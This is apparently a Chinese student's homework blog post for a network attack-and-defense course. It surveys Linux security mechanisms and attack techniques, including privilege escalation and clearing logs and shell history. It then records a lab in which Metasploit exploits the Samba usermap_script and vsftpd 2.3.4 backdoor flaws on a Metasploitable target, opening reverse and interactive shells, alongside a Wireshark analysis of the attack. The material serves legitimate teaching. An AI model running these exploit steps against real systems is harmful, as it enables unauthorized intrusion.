20199104 2019-2020-2 《网络攻防实践》第8周作业
20199104 2019-2020-2 《网络攻防实践》第7周作业
这个作业属于哪个课程 | https://edu.cnblogs.com/campus/besti/19attackdefense |
这个作业的要求在哪里 | https://edu.cnblogs.com/campus/besti/19attackdefense/homework/10635 |
我在这个课程的目标是 | 学习并了解网络攻防的相关知识,期末有个好成绩 |
这个作业在哪个具体方面帮助我实现目标 | 了解LINUX网络安全攻防的理论与实践 |
作业正文 | 见下 |
1.实践内容
1.1 Linux操作系统基本框架概述
-
Linux系统结构包括:Linux内核、一些GUN运行库和工具、命令行shell、图形界面X窗口系统及相应的桌面环境并包括数千种应用软件。
-
Linux进程与线程管理机制:Linux采用抢占式多用户进程模式,多个进程并发活动,由内核的进程管理模块来负责调度硬件资源进行使用,进程作为最基本的调度单元,维护一个进程控制块结构,由内核schedule进程调度函数来依据进程优先级和CPU等资源情况来选择进程进行执行。
-
Linux的内存管理机制:Linux的内存管理模块MM,允许多个进程安全地共享物理内存区域。Linux支持虚拟内存管理,在32位机器上,每个进程拥有独立的4GB虚拟内存空间,其中内核的代码与数据段被映射到3GB以上的空间,用户态代码申请的虚拟内存空间为0-3GB区间,每个进程使用两套段描述符分别访问内核态和用户态的内存空间。
-
Linux的文件系统管理机制:虚拟文件管理VFS机制,使得其能够支持数十种不同类型的逻辑文件系统,VFS为用户进程提供了一组通用的文件系统调用函数,可以对不同文件系统中的文件进行统一操作。
-
Linux的设备控制机制:处理或者管理硬件控制器的软件叫做设备驱动程序。Linux的一个基本特点是抽象了设备的处理,所有硬件设备都像常规文件一样看待。Linux支持三类硬件设备:字符设备、块设备和网络设备。
-
Linux的网络机制:网络模块提供了对各种网络标准的存取和各种网络硬件的支持。网络接口可分为网络协议栈和网络驱动程序。网络协议栈实现每一种可能的网络传输协议;网络设备驱动程序负责与硬件设备通信,每一种硬件设备都有相应的设备驱动程序。
-
Linux的系统调用机制:Linux提供系统调用接口,允许应用程序透过接口访问硬件设备和其他系统资源,有助于保证Linux系统的稳定可靠和安全,并为用户空间提供了一种统一的抽象接口,有助于应用程序的跨平台移植。
1.2 Linux操作系统安全机制
Linux操作系统的核心安全机制主要是身份认证、 授权 与访问控制、 安全审计这三个部分
-
Linux用户:Linux身份认证的主题,按照不同的角色类型具体分为以下三类:Root根用户、普通用户和系统用户。用户信息保存在系统的/etc/passwd文件中,加密口令字则存放千/etc/shadow文件中,只对root可读
- root用户:系统中是唯一的超级用户,可以操作系统中任何文件与命令
- 普通用户:由使用者创建的登录系统并执行基本计算任务的用户,只能操作自己目录中的内容
- 系统用户:不具有登录系统的能力,但是是系统运行不可缺少的用户
-
Linux用户组:具有相同特征的用户账户集合,用于简化整个系统的用户权限管理,我们可以通过修改文件或目录的权限,让用户组具有一定的操作权限,这样用户组下的用户对该文件或目录都具有相同的权限。用户组的信息保存在系统的/etc/group/文件中,加密口令保存在/etc/gshadow/中。
-
Linux的本地登录用户认证机制:在控制台上显示登录,当用户敲入用户时,getty执行登录(login)进程, 进入登录认证过程, 认证成功后, 登录进程会fork相应用户Shell的子进程, 至此完成登录过程, 用户可以在对应的 Shell下开始工作
-
Linux的远程登录用户认证机制:Linux系统普遍使用SSH服务来进行远程用户登录与网络访问, SSH提供两种方式的用户身份认证机制: 第一种方式为基于口令的身份认证 ;第二种方式为基于非对称密钥的身份认证
-
Linux的统一身份认证中间件一一PAM:PAM通过动态链接库和一套统一的api,将系统提供的服务和该服务的认证方式分开,使得系统管理员可以灵活地根据需要,给不同的服务配置不同的认证方式而无须更改服务程序, 同时也便于向系统中添加新的认证手段,PAM支持的四种管理界面:(1)认证管理(2)账户管理(3)密码管理(4)会话管理
-
linux授权与访问控制
-
文件所有者:linux把所有的东西都看成文件。每个linux文件都有其所有者。可使用文件所有者的uid和gid来指明文件的所有者,在用户创建文件的时候自动进行写入。可以通过chown命令来改变文件的所有者。
-
访问权限:linux文件的详细描述可以看出10个标志位。第一个标志位代表文件的类型,之后9个标志位3个为一组。第二组第三组分别为同组内其他用户的权限,其他用户的权限。
-
特殊执行权限:设置了SUID或SGID的文件。SUID允许执行文件在运行时刻从运行者的身份提升至文件所有者权限。SGID与SUID类似,仅仅是以权限组的形式进行运行。
-
-
Linux安全审计机制:通过三个主要的日志子系统实现:连接时间日志,进程统计日志,错误日志记录
1.3 Linux系统远程攻防技术
-
Linux 远程口令字猜测攻击:攻击者通过网络协议远程猜测成功一组用户名和口令, 用这些信息远程登录到Linux系统上, 获得本地的访问权。攻击者自动化的口令猜测工具很多,有brutus,THC Hydra,Cain and Abel等。
-
防御远程口令猜测技术:确保每个用户都有自己的有效账户和口令字,而不是使用一个账户。特权账户应避免远程直接登录,只能在本地登录。口令长度至少达到8位,包含字母、数字和标点符号。对多次认证失败进行纪录,并在多次无效登录之后断掉连接。不要再自己登录的所有系统上都使用相同的口令。最好不用口令字,而使用基于公开密钥证书的身份认证机制。
-
linux网络服务远程渗透攻击:系统远程渗透最重要的攻击渠道————对监听网络服务安全漏洞的渗透利用。截至2011Linux系统常见网络服务的安全漏洞及渗透攻击代码
- Linux内核中的网络协议栈攻击:CVE-2010-4161,攻击者通过向目标系统任意开放的UDP端口发送—个特殊构造的UDP数据包, 就可以直接将系统宕机,造成目标系统的拒绝服务攻击。
- LAMP WEB网站中的网络服务攻击
- FTP、Samba等文件共享服务
- 电子邮件收发服务:Sendmail 服务一直以来都是包括 Linux 在内的类 UNIX 系统上最流行的电了邮件收发服务, 也是备受争议的不安全的知名网络服务之一。
- 其他网络服务的攻击
-
网络服务远程渗透攻击的安全防范措施
- 禁用不必要的网络服务
- 尽量选择更安全的网络协议和服务软件
- 及时更新网络服务版本
- 使用防火墙为Linux网络服务添加网络访问控制
- 建立入侵检测与应急响应计划流程
-
攻击Linux路由器与防火墙:linux作为路由器或者开启混杂模式的时候,如果实现路由寻址和数据包转发功能的程序存在漏洞,很可能遭受构造数据包攻击。
-
攻击监听器及入侵检测器:监听主要的软件snort、wireshark
-
针对路由器与监听器攻击的安全防范措施:网络与安全设备自身的安全性与可用性非常重要,对于维护网络中的设备,应及时关注厂商的安全威胁报告,并对已发现的安全问题进行修补。网络管理员在构建网络安全防御、检测与相应体系时,应站在攻击者角度,掌握攻击者的渗透入侵技术手段,
1.4 Linux系统本地安全攻防技术
-
Linux本地特权提升:最简单的特权提升途径就是能够破解出Root 用户的口令,然后执行su 或sudo命令进行提升。或者是发掘并利用 su或sudo程序中的安全漏洞。目前最为流行的途径是直接攻击那些具有Root特权程序中的任意代码执行漏洞,让它们替攻击者打开具有Root权限的Shell命令行连接,这类途径又分为攻击用户态SUID特权提升漏洞以及攻击Linux内核代码特权提升漏洞最后一种本地特权提升技术则利用了系统中的一些配置不当,通过从系统中搜索全局可写的敏感文件与目录位置并加以利用。
- Linux口令字破解:通过/etc/shadow文件中纪录的口令的hash值,获取口令的加密值,后通过已知密文暴力猜测明文。
- sudo缺陷进行特权提升:通过sudo程序的漏洞,绕过程序的身份认证机制,获取权限
- 利用用户态SUID程序:主要包括利用程序漏洞进行特权提升、本地缓冲区溢出攻击、符号连接攻击、竞争条件攻击、共享函数库攻击等
-
本地特权提升的防范措施
- 安装软件时评估风险
- Linux服务器的管理员安全配置系统
- 使用SELinux等安全增强模块
-
Linux系统上的消踪灭迹
- 通过对message、auth、secure和xferlog等日志文件进行修改做到日志的清理
- 通过对.bahs_history文件的清理,清理shell的命令痕迹
-
Linux系统上植入远程控制后门程序的类型主要有:特洛伊木马化系统程序、命令行后门工具以及图形化后门工具
2.实践过程
2.1 动手实践:使用Metaploit进行Linux远程渗透攻击
- 使用Metaspolit作为渗透测试软件,攻击Linux靶机上的Samba服务usermap_script安全漏洞,获取Linux靶机的主机访问权限。实践步骤如下:
- 使用exploit:exploit/multi/samba/usermap_script渗透攻击模块
- 选择攻击PAYLOAD为远程shell
- 设置攻击参数
- 执行攻击
- 查看是否得到正确的远程shell
- 通过命令
msfconsole
启动渗透软件,通过命令use exploit/multi/samba/usermap_script
使用渗透攻击模块。 - 设置攻击的PAYLOAD为
set PAYLOAD cmd/unix/reverse
- 设置攻击参数RHOST为靶机地址
set RHOST 192.168.200.4
,LHOST为攻击机地址set LHOST 192.168.200.2
- 通过run开始攻击
- 使用命令
whomai
查看当前权限账户
2.2 实践作业:攻防对抗实验
-
攻击方使用Metasploit渗透软件针对Linux Metasploitable靶机试试网络攻击,防御方在Metasploitable上使用wireshark捕获攻击流
-
攻击方:使用Metasploit选择Metasploitable靶机中发现的漏洞进行渗透攻击,获得远程控制权,并尝试进一步获得Root权限。
-
防守方:使用wireshark监听获得网络攻击的数据包文件,并结合wireshark分析攻击过程,获得攻击者的IP地址,目标IP端口、攻击发起时间、攻击利用漏洞、使用shellcode,以及成功之后在本地执行命令输入等信息
-
攻击方
-
使用nessus扫描靶机的相关漏洞。
-
使用nmap扫描端口
nmap -p0-65535 -sV 192.168.200.4
-
我们采用VSFTPD v2.3.4 漏洞OSVDB-73573对端口21攻击
-
使用
use exploit/unix/ftp/vsftpd_234_backdoor
使用渗透攻击模块。设置攻击的PAYLOAD为cmd/unix/interact
设置攻击参数,RHOST为靶机地址set RHOST 192.168.200.4
通过run开始攻击
-
通过命令whomai查看当前权限账户,通过命令shell打开shell
-
防守方
-
通过对数据包流量及数据包内容的分析,可以看出攻击方是
192.168.200.2
-
目标IP端口通过对嗅探报文的分析可以看出攻击方连接的端口在21端口上。
-
攻击发起时间,从编号3开始,攻击机开始尝试连接靶机的21端口
-
攻击利用漏洞:21是攻击的目标端口,通过查看nmap结果可以直到,这个端口是Vsftpd 2.3.4服务的端口,进而得知这是针对Vsftpd 2.3.4漏洞的攻击。
-
使用的shellcode,在wireshark抓包的过程中我们可以看到shellcode,先
id
确定自己的权限,之后nohup >/dev/null 2>&1
,将标准输出以及错误输出一起重定向到/dev/null
,之后对echo khrrgti4My9DVrte
推测是用于写入一个东西,进一步获取相关权限,我同时还找到了这个漏洞的源代码
- 攻击之后本地执行的指令:从抓包的流可以看出来攻击者的每一条命令。明文传输的指令ifconfig和whoami。如下图所示。
3.学习中遇到的问题及解决
- 问题1:nussus忘记密码
- 问题1解决方案:重置
- 问题2:在shellcode,不知道
echo khrrgti4My9DVrte
是干什么 - 问题2解决方案:推测可能是用于写入一个东西,进一步获取相关权限
4.实践总结
不太容易自己找漏洞进行攻击,还是去网络上找了一个漏洞进行攻击,攻击的代码也没看很懂